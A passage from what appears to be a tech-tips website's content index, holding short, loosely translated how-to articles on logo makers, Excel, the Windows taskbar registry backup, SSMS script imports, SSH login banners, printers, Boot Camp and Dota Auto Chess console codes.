the 5 logos they like the most. People can then choose a color scheme and include any special symbols.\nLooka will start designing and showing off some logo ideas, which users can then further customize with different fonts, colors, and layouts.\nBrandmark   Although the logo creation process is very simple, just enter some keywords associated with your brand and choose the basic color groups, but Brandmark delivers much better results than expected.\nThere are a number of unique font and icon pairs, to create designs that are stitched together using an algorithm. The only downside of Brandmark is that users cannot customize the logo without purchasing it.\nDesignhill   At first, people may be concerned about sampling the graphics provided by the platform because they are basic icons. But Designhill does a pretty good job of pairing them with creative typography and attractive color schemes. In the end, users will be amazed by the large number of logos that can be created from simple icons that are just right for them.\nJust choose 5 logo templates that you like, along with the color and business area. Go on to choose up to 5 icons to go with the logo. Before viewing the results, everyone will be prompted to create an account.\nNamecheap   While there's nothing special about the icons or typography, Namecheap somehow managed to stitch them together into a nice layout, with very little information so the viewer wouldn't get confused.\nLogos are presented with some trendy gradients, and even choosing a logo with simple colors it outperforms some other online logo creators, in terms of typography and color scheme.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jLCcm6uZqbJuwM5mmqudkamybr%2FIpqelnV2Wu6V5wZ6YrqyZm8Ktec6no6KmlWK5sLPO\n","link":"/post/top-website-to-create-simple-and-beautiful-online-logo/","section":"post","tags":null,"title":"TOP website to create simple and beautiful online logo"},{"body":"Similar to the Doc file in Microsoft Word, users are too familiar with the XLS format file in Microsoft Excel. Therefore, many people will be \"surprised\" when receiving the XLSX file. So please consult our information.\n  The XLSX file is a file for Microsoft Excel 2007 or later versions ( that is, if you are using the 2003 version or earlier, it will not work ). Therefore, to read the XLSX file, your computer must install Office 2007 , Office 2010 , Office 2013 , and Office 2016 versions.\n  And like Docx files, XLSX files possess \"outstanding\" features compared to XLS, such as smaller file sizes, safer, easier to recover (error cases), .\nFix error There was a problem sending a command to the program in Excel The most basic functions in Excel How to keep the cells fixed in Excel? Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWknbJuxMusr2aemaGybsPHmqtmq5%2Bbwbit0Z5kraddp7KisA%3D%3D\n","link":"/post/what-is-the-xlsx-file-what-software-to-read/","section":"post","tags":null,"title":"What is the XLSX file? What software to read?"},{"body":"With the English dictionary app on Android and iOS below, your English learning will become easier and more effective than ever.\nTFlat\nWith a simple but smart and beautiful interface, a wide and standard vocabulary, TFlat is a user-friendly dictionary on both iOS and Android platforms.\nDownload link:\nTFlat for iOS. TFlat for Android.   Laban Dictionary\nThis is an application that looks up English - Vietnamese, Vietnamese - English, English - English dictionaries completely free, does not show ads, uses offline, beautiful interface, many new features with many specialized dictionaries such as technical arts, trade .\n  Laban Dictionary for iOS (new to English - Vietnamese and Vietnamese - English basically). Laban Dictionary for Android. Oxford Dictionary of English\nWith over 300,000 English words, and always updated from every year, Oxford Dictionary is considered an encyclopedia of English vocabulary. With Oxford Dictionary, you will have complete information about meaning, grammar, new words, idioms, slang words .\n  Download link:\nOxford Dictionary of English for iOS Oxford Dictionary of English for Android See more:\nHow to look up the dictionary right on the iPhone, iPad running iOS 11 Dictionary search utilities on Chrome should not be ignored The most reliable online dictionaries ncG1vNJzZmismaXArq3KnmWcp51kgG6uxKyrZp6imrJusMicq6Knnpa%2FqrHSZquoZZyarrO6jJ6loKSZqLVuu81mmKecoqS2pXnAp5tmoZ%2Boeri106Fknaeno7mwrcNmo6Kmmw%3D%3D\n","link":"/post/3-best-free-dictionaries-to-learn-english-on-android-and-ios-with-download-link/","section":"post","tags":null,"title":"3 best free dictionaries to learn English on Android and iOS, with download link"},{"body":" Free trial software Version: 2020.0.13 Update date: 02/23/2021 Platforms: Windows, Mac Download Camtasia 2020.0.13 here.\nWith Camtasia, you can develop stunning visuals for creating tutorials, slideshows, presentations, and other multimedia content. It's worth mentioning that the app allows you to import audio tracks and video files, making it easier to bring your existing projects into the creative process.\n  Features of Camtasia Many editing features, intuitive interface, etc . are plus points that you easily see in Camtasia software.\nIn just a short time, Camtasia Studio has become a reliable choice for video editing. While most people prefer to use this app on Windows PCs, it is also available for Mac devices. Unlike free programs like Free Screen Recorder, Camtasia does a lot more than share or record screen. The program also gives you image control and is also more flexible. With a simple interface, it allows even beginners to work with video creation and editing tools.\nThe development team has also released a free mobile app for Android and iOS devices. With the portable version, you can conveniently transfer data or content from your smartphone to the Windows program.\nAfter you finish the work of a project, the output files can be shared directly on YouTube, Google Drive, Vimeo, etc. Within a short time, Camtasia has become an official tool. , assisting teachers, administrators, and other professionals when teaching or creating presentations.\nIs Camtasia a good choice? In just a short time, Camtasia Studio has become a popular tool for Windows PCs. Unlike expensive, high-end tools, this program doesn't focus on heavy video editing jobs. Instead, it relies on specific media formats, template creation, demos or presentations for effective learning.\nCamtasia Studio supports many file formats, allowing you to view the output files on multiple devices. While the app is primarily intended for online learning creations, you can also use Camtasia to create stunning home videos.\nIf you're looking to create short videos, home videos, fun animations and online courses, Camtasia will be a great choice. With this program, you do not need to worry about template creation, analysis and interaction on social networks. Just download the program, install the application on the system and you're ready to use. However, the program comes with simple video editing tools and you shouldn't expect it to work like high-end software.\nCurrently, the video editor supports downloading files up to 1080p at 30 frames per second. Therefore, if you are looking to create high definition quality images or graphics heavy, you should consider a different platform. But if your goal is to work on simple videos right on a Windows PC, then Camtasia won't disappoint.\nA useful, interactive and powerful video editing tool The latest version of the show is perfect for impressing your audience with amazing creations. It comes with improved features, a simple interface, and useful editing tools. Camtasia Studio also supports many add-ons, including green screen, to make your editing projects more vivid and efficient.\nAdvantages\nProvides intuitive interface Feature-rich editing tools Comes with many different features Supports many file formats Defect\nOne-time payment is required ncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpxdmK6uwMCsoJplYmV%2FcXyQbGSaZaCkxKa%2Bxa6jZq6ZmbKwecSdoK2nomKzsL6MsKCnnJ%2BswG68wqw%3D\n","link":"/post/a-powerful-video-editor-for-windows-pcs/","section":"post","tags":null,"title":"A powerful video editor for Windows PCs"},{"body":"Contributing to bustling the atmosphere for the summer 2013 discount season, many software companies have launched attractive discount and promotion programs for all users of computers and mobile devices. Amigabit also did not stand out when launching a series of discount programs for its famous software.\nAmigabit aims to become a leading company in providing software to maintain and optimize Microsoft Windows computers for companies and individuals to use, making computing experience easier and better than ever.\n  Software name\nInformation\nPrice\n   Amigabit PowerBooster Does your computer work slowly? Do you want your computer to run as fast as the first day you bought it? Amigabit PowerBooster provides users with all the tools they need to optimize the performance of computers. This computer optimization software can scan, analyze and optimize your computer, search and remove unimportant files, corrupted files that are making hard drive junk, defragment and clean the registry to fix errors. as well as preventing errors, minimizing Windows boot time and many other useful features.see more\nOld price: $ 39.95\nPrice reduced: $ 19.97\nBuy software\n   Amigabit Registry Cleaner Does your computer keep slowing down, slowly? Do you often get errors or Windows always show error messages? Want to improve the overall operability and stability of the system? If so, Amigabit Registry Cleaner is the solution you need.see more\nOld price: $ 29.95\nPrice reduced: $ 23.96\nBuy software\n   Amigabit Disk Defrag Every time you use your computer, junk files or other types of unnecessary files will be saved on your hard drive.These data will occupy a large part of the storage capacity and consequently the computer will run very slowly.To speed up the machine, users need to perform defragment - defragment - for hard drives periodically.Amigabit Disk Defrag is the best tool that can help you.This powerful and fast hard drive defragmenter allows automatic analysis, defragmentation of your computer and optimization of storage drives for maximum performance.Besides, this software is also very easy to use with an intuitive interface.see more\nOld price: $ 29.95\nPrice reduced: $ 20.97\nBuy software\n   Amigabit Privacy Cleaner When surfing the web with a browser or when using any Windows application, Windows automatically saves all traces, including cache, cookies, location, auto-complete, index.dat, IE plug -ins, newly opened data, Windows search history, internet download history, using Start menu , opening or saving, Windows temporary files, chat logs on instant messaging applications, email in mailboxes, files videos or audio files in the registry and other activities. This trace record will easily be used by bad guys to infiltrate your private life . See more\nOld price: $ 29.95\nPrice reduced: $ 19.47\nBuy software\nncG1vNJzZmismaXArq3KnmWcp51krq61xpqZoqxdmba0r86upa1llJ7ApLvUp6tmm5%2BivbbAxKtknJmimnq0u8WtrpqqlQ%3D%3D\n","link":"/post/amigabit-discount-discount-computer-care-software/","section":"post","tags":null,"title":"Amigabit discount discount computer care software"},{"body":"So after a while with information leaked as well as available on iOS and Android platforms, today, developer King has officially released the title game Candy Crush Saga famous for Windows Phone users.\n\u0026gt;\u0026gt; Download Candy Crush Saga for Android!\n\u0026gt;\u0026gt; Download Candy Crush Saga for iOS!\n  \nHere are the main features of the game:\nVery beautiful graphics Various levels of challenge Complete the adventure and unlock levels Easy and fun to play, challenging to master Hundreds of levels in the game Leaderboards to see your friends and competitors Easily sync matches between devices as well as full game unlocking features when connected to the Internet The game is completely free and supports all devices including 512MB RAM. Download Candy Crush Saga here!\nncG1vNJzZmismaXArq3KnmWcp51ksKK6w7JknKqlqLVuv8CgmGanlpu2pLXApaOyZZSksKyxw2agp2Wnnrulu9asZKmgn6Oy\n","link":"/post/candy-crush-saga-officially-docked-in-windows-phone/","section":"post","tags":null,"title":"Candy Crush Saga officially docked in Windows Phone"},{"body":"    net javascript is unicode encoded conveniently but not really good with binary data. when working with tcp streams or file systems, it is necessary to handle octal data streams. node.js provides buffer classes that allow raw data to be stored as an array of integers corresponding to external raw   ncG1vNJzZmismaXArq3KnmWcp51kwaKz0miaqKammr%2B1ecGunZ%2BdomLBsHnJrKanZZmjeq%2B7w56hrGaYqbqt\n","link":"/post/convert-buffer-to-json-in-node-js/","section":"post","tags":null,"title":"convert buffer to json in node.js"},{"body":"Along with the Pivot Table, the SUBTOTAL function, CONSOLIDATE is one of the very effective data statistics functions in Excel. Consolidate helps us calculate extremely effectively when integrated allowing quick performance of sum (sum), average (evergage), max, min . in the spreadsheet. To understand more and better about the use of CONSOLIDATE, you refer to the article information below\n1. The function of CONSOLIDATE in excel In fact, we often have to process data from a large excel file from sales software or data from HR software transferred for example.The work will be faster and more efficient if we combine the built-in tools of excel, Consolidate is a typical.\nConsolidate can generate a summary report of all selected data fields in a few simple steps.In this article, we will sum using the Consolidate tool in excel 2010 (excel 2007, 2013, 2016 is similar)\n2. Specific examples of using CONSOLIDATE in excel Calculate the total quantity and the total amount for each corresponding code / item.\nIn the above worksheet, there are many duplicate and duplicate items, and our task is to sum them up for each item code, ie create an aggregate report.\n  First, place the mouse cursor at the position where you want to create the report (in any sheet or sheet), click on the Data menu and select Consolidate .\n  The Consolidate dialog box appears and our task is to fill the appropriate values ​​in the corresponding boxes:\nIn the Function box we select Sum to sum (there are many other functions such as average (evergage), max, min . you can learn more).\nIn the Reference box, type in the reference area, select the range for Consolidate to calculate by clicking on the Reference box and then dragging to select the data block.\nNote the headline (Top row) is the first row of the selection block (our Top row is the second row: the name of the goods, the amount, the amount).\nThe column heading (Left column) is the first column of the selection block (Left column we are choosing is column C: Name of goods);If the column heading is \"SKU: You must adjust the selection to column B in the Reference box.\nNext, we click Add to add the reference address in the box All references to take effect.\n  Do not forget to select the check mark in the Top row and Left column items in the Use labels area to report the current row and column headings (if you do not check the two items, the column will be hidden but only the figures).\nFinally, click OK to view the report:\n  Consolidate results will add up the exact amount and amount of the items, of course, the cumulative unit price column in this case for us does not make sense.\nIf you choose to add a checkmark in the Create links to soure data section before clicking OK, the report will have more details (similar to the Subtotal feature) when clicking the + sign on the left.\nncG1vNJzZmismaXArq3KnmWcp51ksbB52KisZqOepMRutM6wZK2nXarApnnCqKWsp5yesaLAxGagp2WVrbCmuIyynK0%3D\n","link":"/post/do-you-know-how-to-use-consolidate-in-excel-yet/","section":"post","tags":null,"title":"Do you know how to use CONSOLIDATE in excel yet?"},{"body":"Taskbar taskbar on Windows is a very important and convenient toolbar when using a computer. Users will pin frequently used software, or folders, websites, and files that want to open quickly after starting the computer. Besides, we can customize the Taskbar according to daily use needs. So how to get back to the correct Taskbar layout after reinstalling the computer, without having to rearrange it? Windows has supported users to backup and restore Taskbar layout easily. The following article will guide you how to do it.\nTips to automatically hide the Taskbar on Windows 10 Taskbar on Windows 10 does not work, this is a fix How to fix Windows 10 Taskbar is not hidden when zooming in on the screen 1. Guide to backup Windows Taskbar bar Note , the Taskbar layout includes applications and app pin order that can only be restored when applications are installed on the computer and pinned to the Taskbar.\nStep 1:\nWe press the Windows + R key combination to open the Run dialog box. Enter the keyword regedit and click OK to access.\n  Step 2:\nIn the Registry Editor interface, users access the folder under the HKEY_CURRENT_USER Software Microsoft Windows CurrentVersion Explorer Taskband path as shown below.\n  Right-click on the Taskband folder and select Export in the list to publish in the Taskbar on your computer.\n  Step 3:\nDisplay the folder on your computer to save the layout file. The layout file will be in .reg format . Enter the file name and then click the Save button to save it.\nSaving the layout of the Taskbar with the app pin order through the registry key does not require administrative rights to perform. As for recovery, you need to do it with Admin privileges.\n  2. How to recover Taskbar layout file Step 1:\nOpen the saved file of the Taskbar reg layout file and double-click, or right-click the file and select Merge in the list.\n  Step 2:\nDisplay the dialog box confirming whether the user wants to add this reg file to the registry, click Yes to continue.\n  The process of adding the file reg to the Taskbar layout was successful and displayed the notification interface as shown below.\n  So you have created a backup copy of the Taskbar and restored it through creating the registry key. Ordering the pinned applications will display exactly what you have arranged. So when you reinstall the device, you just need to open this backup file to get the Taskbar as before.\nSee more:\nHow to automatically hide the Taskbar when zooming in on the screen Taskbar on Windows 10 does not work, this is a fix How to make transparent Taskbar on Windows 10 using TranslucentTB I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqRmLi2vIytmKyjkpa%2FbrvNZq6ippSkxLQ%3D\n","link":"/post/how-to-backup-taskbar-on-windows/","section":"post","tags":null,"title":"How to backup Taskbar on Windows"},{"body":"Mini World Block Art always has time or seasonal events to receive skins and other rewards. Includes Mini Beans, skin pieces and many more. For gamers who often participate in Mini World: Block Art regularly, getting prizes from events and participating in rewarding events is not something new.\nFor new players, it is often not known whether to get free skin and use where the skin is received. If you are new to Mini World: Block Art, please take a look at the instructions below this article to get free skin in Mini World and use this skin.\nHow to earn Mini Beans and get free gifts in Mini World: Block Art How to save the map and share the map in Mini World: Block Art How to configure the Mini World Block Art configuration Instructions for getting free skin in Mini World: Block Art and how to use it Step 1: First, log into Mini World, select the gift icon in the upper right corner. Then go to the Gift section, and there will be a free bonus, there is currently a Summer Eve event where you can get a Mini Treasure Box to change into a character skin.\n  Step 2: The gift receiving events in Mini World will have notice of the start and end time, please pay attention to this time to receive gifts. At this event you only need to log in regularly every day to receive gifts from the event.\n  Step 3: Once you have a mini treasure box, go to the Activity section and change the mini treasure box to get the skins in this section. You can look at the number of treasure boxes corresponding to the changed skin to change your skin.\n  Notice of successful gift receipt.\n  Step 4: After receiving your skin, go outside the main screen and select Store.\n  In the Skin section, click Wear to wear the skin on the person, and then click Save .\n  Next there is a Save message and go back to DIY page, press save to save your skin.\n  Go to the Skin section, select Already available and click on the skin you just saved.\n  Now go to the game, you will see your skin applied.\n  This is just one of the events that Mini World: Block Art organized to support gamers with gifts that only need to be hard to log in, you have gifts that you will normally have to recharge to own .\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp%2BVqXqnvsSeZKyjmaN6rrXNomSwp6KhsW6uy6iapGWRp8E%3D\n","link":"/post/how-to-get-free-skin-mini-world-block-art/","section":"post","tags":null,"title":"How to get free skin Mini World: Block Art"},{"body":"Hello everyone, in the previous articles, I have been with you to install SQL Server, create a connection to SQL Server through SSMS (SQL Server Management Studio) and learn about some basic operations with SQL Server. already.\nIn this next article, I will learn with you how to open and run a script file (file containing SQL statements) to create tables and Insert sample data into SQL Server through SQL Server. SSMS.\n#first. Design of the database Understanding and grasping the design of the database is a very important thing when you work with database management systems.\nBelow is the design of the sample database that I will use in this article. All has been written as Script. You can download the file here or here.\n  #2. Create new database First, you connect to the SQL Server database through SSMS as I have instructed in previous posts.\n  Then create a new database by clicking Database =\u0026gt; and selecting New Database… as shown below.\n  Because in the Script I have defined the database name as BikeStores, so in the Database name section, you should set it to BikeStores to avoid Script compilation errors. =\u0026gt; After naming, click OK to continue.\n  Okay, so we already have a database called BikeStores. However, at this point our database is still empty and nothing.\n  #3. Open and run Script files in SSML Next we will open the Script and run it to add the tables and sample data to the newly created database.\nImplementation: You go to File =\u0026gt; select Open =\u0026gt; and select File as shown below. Or you can use the key combination CTRL + O for fast.\n  The first Script (Create Objects) will be the Script used to create the tables in the database. You will open and run this file first to create the tables in the database.\n  After opening, click Execute to compile that Script.\n  And now in the Tables section you will see that all the tables as shown in the design have been successfully created, in addition, there will be a message with the content Commands completed successfully in the Messages section.\n  You do the same with the 3rd file (Load data) which will add sample data to the database tables.\n  Continue to click Execute to compile the Script.\n  You can observe in the Returned Messages section as shown below that the data has been successfully added.\n  To check, you can open any table to see if the data has been added or not. Here I open the table production.categories\n  #4. Epilogue Okay, the process of importing data from into SQL Server Management Studio is also relatively simple, isn't it.\nThrough this article, I believe you already know how to use Script files to create tables as well as add data to the database in SQL Server, right!\nIn fact, when doing a project, one can export a Database (Export) into a Script file that can be carried to other machines to run very conveniently.\nOkay, see you in the next articles about SQL Server.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGdpbyzwIydmK2ZXZu%2FsLmMrJqroaCpeqe1y55koqakpHq0vctmqp6qppq%2F\n","link":"/post/how-to-import-data-from-script-file-into-sql-server/","section":"post","tags":null,"title":"How to Import Data from Script File into SQL Server"},{"body":" This How-to will enable you to set up a custom banner message to users who read your Banner Message and decide to enter your System at their own risk, else be warned about not trying to log in. We will be first editing a file called...\nPart 1of 3:\nAdding a Welcome Message  Sudo to root. You will need to modify superuser file.\n  Open the config file for the banner. Type vim /etc/issue.net\n  Read the file. You will get a screen similar to the one shown.\n  Add your message. Next just below the lines of Debian 6.0, type any custom message you feel.\n  Check the look of the file. The issue.net file looks as shown\n  Exit out of this file. Save the changes by typing EscKey + !wq\n Part 2of 3:\nConfiguring SSH Daemon  Close SSH if running. You need to make SSH understand that you need to enable the Banner Message.\n  Open the configuration file. Issue the command, vim /etc/ssh/sshd_config\n  Modify the file. Now in the sshd_config file, you need to uncomment the Banner portion as shown\n  Start SSH. Issue the command --\u0026gt; /etc/init.d/ssh restart\n  Wait until restarted. The OpenSSH Server Daemon process will restart.\n Part 3of 3:\nTesting the Message  Connect via localhost. After this is done, you can test it by issuing a test login via localhost by issuing the following command ssh localhost\n  Type yes to connect.\n  Lesley Montoya Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq2vIyaZJyto6m8rnnBmqWnnaJiuqa%2F0pqenmWZo3q6u9SrZK6apaPBtnnLoqWusF2irqS0yKecZp6fp3qzscyoq55lpaiys78%3D\n","link":"/post/how-to-set-up-a-custom-banner-message-in-your-ubuntu-linux-machine-for-remote-users/","section":"post","tags":null,"title":"How to Set Up a Custom Banner Message in Your Ubuntu Linux Machine for Remote Users"},{"body":"Although it seems that all printers have the same basic function and therefore operate at the same speed, there are actually a variety of factors that affect their performance. Here are some factors that you can control to increase printing efficiency.\n1. Internet connection   Check the Internet speed and exit any download or video streaming activities that may be using network resources. If the image is not sent at the maximum speed from the computer to the printer, the print speed will be affected at the start of the process.\n2. Paper quality Using high quality paper can significantly increase printing speed. This is because high quality paper glides smoothly and easily through the printer nozzle. On the other hand, low quality paper can cause printing problems and are more likely to get stuck in the printer.\n3. Print quality   If you are printing a large number of unimportant documents, reducing print quality will result in faster printing. On the other hand, if you are printing fewer documents for visual presentations, the print quality must be kept high to create the best product possible.\n4. Delete print jobs that are no longer needed Printer memory may be clogged with 'remnants' of old print jobs. These are prints that were canceled or paused before completion. Search the queue for no longer needed print jobs and delete them permanently to free up printer memory and boost performance.\n5. Check out the security feature Look at the device's security settings to make sure they don't interfere with the printing process. If your printer is disconnected from any external network and you are printing documents directly from your device, you can turn off any antivirus programs that are slowing down the printer.\n  On the other hand, if you are printing via the Internet, never turn off the computer security firewall completely during printing, as hackers can steal data directly from the printer itself.\n6. Ignore spooler The spooler found in the printer is a midpoint used to provide a station for information, in case there is any delay during printing. For fast devices, you can bypass the spooler entirely by selecting the 'Print directly to the printer' option . This will eliminate a step in the printing process and thus increase printing speed.\n7. Increase RAM   In general, having more RAM allows the computer to perform more tasks. Although adding RAM does not make programs run faster, it allows many programs to run together without slowing down the operation speed. You can add more RAM to your device by having a RAM upgrade specialist.\n8. Upgrade software Finally, make sure the printer software you are using is up to date. If the printer itself is at maximum capacity, but operating at a lower-than-expected speed, it might be time to replace a faster, new model.\nOwning your own printer is a good way to avoid having to go to the print shop often when the job requires it. With the above steps, you can ensure your printer operates at full speed even after a few years of operation.\nWish you apply successfully!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqugmrKledSpZK2glWK9s7XNrZyrZZGjsW65wKScZqyYmnqxvsinq6Kml2K9s7vCnqqsZZ2kv6Z5xJ%2BdopuZmru1\n","link":"/post/how-to-speed-up-the-printer-and-make-the-printing-process-more-efficient/","section":"post","tags":null,"title":"How to speed up the printer and make the printing process more efficient"},{"body":"Since Apple moved to Intel processor (similar to the processor used in some PCs), it was possible to run Windows on Apple hardware. Why do you want to do this? OS X is a very nice operating system, but it can't run Windows applications. The only way to run Windows applications on a Mac is to run Windows on a virtual machine (VM). For Macs using Intel processors you can now install both OS X and Window on the same machine, so to switch to Windows you can simply restart and choose to start with Windows. Remove VM requests by running Windows at high speed. It also makes seemingly impossible things possible with virtual software like 3D games. To start Windows Vista and OS X at the same time without affecting OS X, you need to use Boot Camp available in OS X 1.5 Leopard. Follow these steps on your Mac: 1. Use Finder , navigate to Applications , Utilities and run Boot Camp Assistant . 2. Click Continue on the Introduction screen. 3. Next you need to specify how to partition the hard drive for Windows. A separate partition is created for Windows to use. Drag the dividing line and adjust Window size as shown in the following figure. I recommend you spend at least 15GB for OS and some applications. Your partition size and hard drive are ready.\n  Picture 1 of Install Windows Vista on Mac using Boot Camp  4. You can now start installing Window. Insert the Windows Vista DVD into the drive and click Start Installation . Mac will automatically restart and run the installation disk. 5. Install Windows Vista as you normally would. When asked where to install, select the partition called BOOTCAMP . You also need to format Bootcamp as NTFS. 6. When Windows Vista has been installed, remove the Windows Vista installation DVD and insert the installation DVD X 10.5 Laopard. Run the Bootcamp application and all Apple hardware drivers will be installed automatically.\n  Picture 2 of Install Windows Vista on Mac using Boot Camp  7. When you want to switch between OS X and Window, just reboot, hold down the Option key to select the area to boot.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F05qjpWWnnrulu9asZK%2Bho6mubrvNZqSam12qwKq6xmaZqKekYrCiuc8%3D\n","link":"/post/install-windows-vista-on-mac-using-boot-camp/","section":"post","tags":null,"title":"Install Windows Vista on Mac using Boot Camp"},{"body":"Dota Auto Chess has a Server Test, this is the server that helps gamers test the latest features of the earliest Dota Auto Chess. To access this server test this dota auto chess please follow the instructions below.\nHow to calculate rank for season 1 and how to check rank Dota Auto Chess Dota Auto Chess: Synthesis of upcoming Heroes and changes in Gameplay Dota Auto Chess: Rank the up line combo currently the most meta 1. Download server test First, to be able to enter server test dota auto chess, download server test below and extract autochess directory to the path \" Steamsteamappscommondota 2 betagamedota_addons \"\nLink server test Link server usually   2. Activate the console and use Once you've unzipped the test server in the required folder, you need to enable the Console feature in DOTA 2 by going to Library \u0026gt; select Games \u0026gt; right-click Dota 2\u0026gt; select Properties \u0026gt; click Set Launch Options and type -console Click OK to save.\n  Next, start the game, in the main interface, turn on the console according to the character set according to the hotkey menu in the game. The example below is the F11 key.\n  At this point you will see the Console system activated, looking like the Half-Life console. You can enter individual commands into this table or save the commands into 1 file and let them run automatically when entering DOTA 2.\n  Next, type the command \" dota_launch_custom_game auto chess normal\" into the console table, if you see an error you can copy the removal command rather than typing.\nBelow is a list of command lines in the map:\nChess creation command Chess \" -crab + chess code \" command\nFor example: to create Chaos Knight you type \" -crab ck \"\nName\nAbaddon\nabaddon\nAlchemist\nstation\nAnti Mage\nam\nAx\nax\nBatrider\nbat\nBeastmaster\nbm\nBounty Hunter\nbh\nChaos Knight\nck\nClockwerk\nclock\nCrystal Maiden\ncm\nDazzle\ndazzle\nDeath Prophet\ndp\nDisruptor\ndisruptor\nDoom\ndoom\nDragon Knight\ndk\nDrow Ranger\ndr\nEnchantress\neh\nEnigma\nenigma\nFurion\nfur\nGyrocopter\ngyro\nJuggernaut\njugg\nKeeper of the Light\nlight\nKunkka\nkk\nLich\ncalendar\nLina\nlina\nLone Druid\nld\nLuna\nluna\nLycan\nlyc\nMars\nmars\nMedusa\nmedusa\nMirana\npom\nMorphling\nmorph\nNecrophos\nnec\nOgre Magi\nbraised\nOmniknight\nok\nPhantom Assassin\npa\nPuck\npuck\nQueen of Pain\nqop\nRazor\nRazor\nRiki *\nriki\nSand King *\nsk\nShadow Fiend\nsf\nShadow Shaman\nss\nSlardar\nslardar\nSlark *\nslark\nSniper\nsniper\nSven\nsven\nTechies\ntech\nTemplar Assassin\nme\nTerrorblade\ntb\nTidehunter\nth\nTimbersaw\nshredder\nTinker\ntk\nTiny\ntiny\nTreant Protector\ntp\nTroll Warlord\ntroll\nTusk\ntusk\nVenomancer\nveno\nViper\nviper\nWindranger\nwr\nWitch Doctor\nwd\nWinter Wyvern\nWW\nZeus\nZeus\nIO\nio\nJuggernaut SSR\njugg_ssr\nChaos Knight SSR\nck_ssr\nSand King SSR\nsk_ssr\nNecro SSR\nnec_ssr\nLich SSR\nlich_ssr\nEnigma SSR\nenigma_ssr\nJakiro\nthd\nRubick\nrubick\nGrimstroke\nGS\nInvoker\nkael\nVoid\nfv\nVisage\nvisage\nOrder creation item To create an item, type \"-drop + item code\"\nExample: To create Divine Rapier type \" -drop shengjian \"\nName\nCode\nMask of Tarrasque Long-haired Blade of Cuirass qiangxi Heart of Tarrasque longxin Blade Mail renjia Vanguard xianfeng dunchao dianchian kanwo Mijolnir dadianchui Monkey King Bar jingubang Hood of Tiaozhantoujin Dagon Dagon 5 hongzhang_5 Perseverance jianrenqiu Refresher Orb item_shuaxinqiu Kaya huiguang Moonshard yinyuezhijing Battle Fury kangzhanfu Scythe of Vyse yangdao Black King Bar bkb Morbid Mask Xanguemianju Quarter Staff Sword kuojian Stout Shield yuandun Ring of Health zhiliaozhihuan Void Stone xuwubaoshi Blade of Attack gongjizhizhua Mithril Hammer miyinchui Blight Stone kuweishi Javelin biaoqiang Cloak kangmodoupeng Ring of Regeneration huifuzhihuan Staff of Wizardry molifazhang Crown Staff of the Magi Fashichangpao Mystic Staff Ultimate Orb jixianfaqiu Orge Ax xiaofu To select the round, type \" -choose + round number \". For example: To select round 10, type \" -choose 10 \"\nTo increase 100 gold, type \" -mana \"\nCommand to create courier and some other commands To create your item, type \"-hero + pet code\"\nFor example, to create Chicken, type \"-hero - h111\"\nList of pet codes please refer to this link.\nTo adjust the size of your pet, type \" -size + pet size \". For example: \" -size 2 \"\nIf you want to create a virtual live crown, just type \" -crown \"\nThe command to create a '-a' item + effect code to add effects to the pet.\nEffect code:\nE101 E102 E103 E104 E107 E108 E111 E112 E113 E114 E201 E202 E203 E205 E210 E213 E214 E301 E302 E303 E304 E305 E306 E308 E309 E311 E312 E313 E315 E317 E319 E320 E321 E322 E401 E402 E403 E404 E405 E406 E407 E408 E409 E410 E451 E452 E453 E454 E455 E456 E457 E458 E459 The command displays the attack parameters To display the damage caused, type \" -damage \" To turn off the damage display, type \" -undamage \" To see the number of chess types in the pool, type \" -chesspool \" The above is a guide to server test dota auto chess with full code so you can test in this server.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ec6nZKydoquys3nTnqqtZZSkwaJ5wK6rqGWTnbK0vw%3D%3D\n","link":"/post/instructions-on-server-test-dota-auto-chess/","section":"post","tags":null,"title":"Instructions on Server Test Dota Auto Chess"},{"body":"There is always a right way to print your documents. Some inkjet printers print pages from the top, which means you have to manually reverse the print order. This is not a problem when printing only a few pages, but when you print a few hundred pages of documents then you need a trick to print them in reverse order so you can arrange them neatly.\nInstructions for printing two-sided paper in Word, PDF, Excel Three ways to reverse the print order 1. Reverse the order in Microsoft Word 2. Reverse the print order in the printer 3. Reverse the print order in all applications and printers 1. Reverse the order in Microsoft Word Microsoft Word has a command that forces the printer to reverse print information in each print job.\nStep 1: Open Word, then click Options\u0026gt; Advanced .\nStep 2: Scroll down and go to the Print section on the right.\nStep 3: When you want to reverse the print order, select Print Pages in Reverse Order box . Click OK and exit the Options screen.\n  2. Reverse the print order in the printer Most printers will allow you to adjust the printing process.\nStep 1: Click the Page Setup tab in Printing Preferences.\nStep 2: Check the box Print from Last Page .\nStep 3: Click OK .\nFor Samsung printers and some other machines, to print in reverse order you can go to the Advanced tab and select Reverse All Pages in Print Order .\n  3. Reverse the print order in all applications and printers If you cannot find the print reverse command or select the printer's Preferences box or in the application's print dialog box, simply enter the number of pages you want to print in reverse order in the Page Range dialog box.\n  For example, if you want to print pages 1 to 5 of the document, enter \"5-1\" as shown above, then click Print .\nThese small tips will help you increase print efficiency and save time.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51kv6a4wLFksKGknXp0edaasKxlpKR6sb7Ip6tmoZ5iwam10maqoqWgobJuvsSvnKurlWK8s7DEqw%3D%3D\n","link":"/post/relax-with-3-ways-to-print-in-this-simple-reverse-order/","section":"post","tags":null,"title":"Relax with 3 ways to print in this simple reverse order"},{"body":"How Live Stream Facebook from computer Live Stream Facebook to stream live games like League of Legends LOL, play videos or share live tips to install OBS software as a way to stream live videos to Facebook below.\nFacebook is increasingly asserting its position in the world, especially when this social network constantly updates many new features. It's not simply a place to entertain, interact with many people, but we can also call video Facebok on mobile , tablet. Or Facebook video calling on your computer is easy. The recently updated Live Stream feature will help users stream what's happening around them to their friends and relatives on Facebook.\nYou can refer to how to play videos directly on the phone in the Guide to setting up Live Stream Video on Facebook.\nInstead of being used only on phones like before, readers can now use the Live Stream Facebook feature right in the browser on your computer without installing additional software. Invite to read the article: How to live stream Facebook right on your computer. However, if you want to play games or share tricks directly on Facebook, 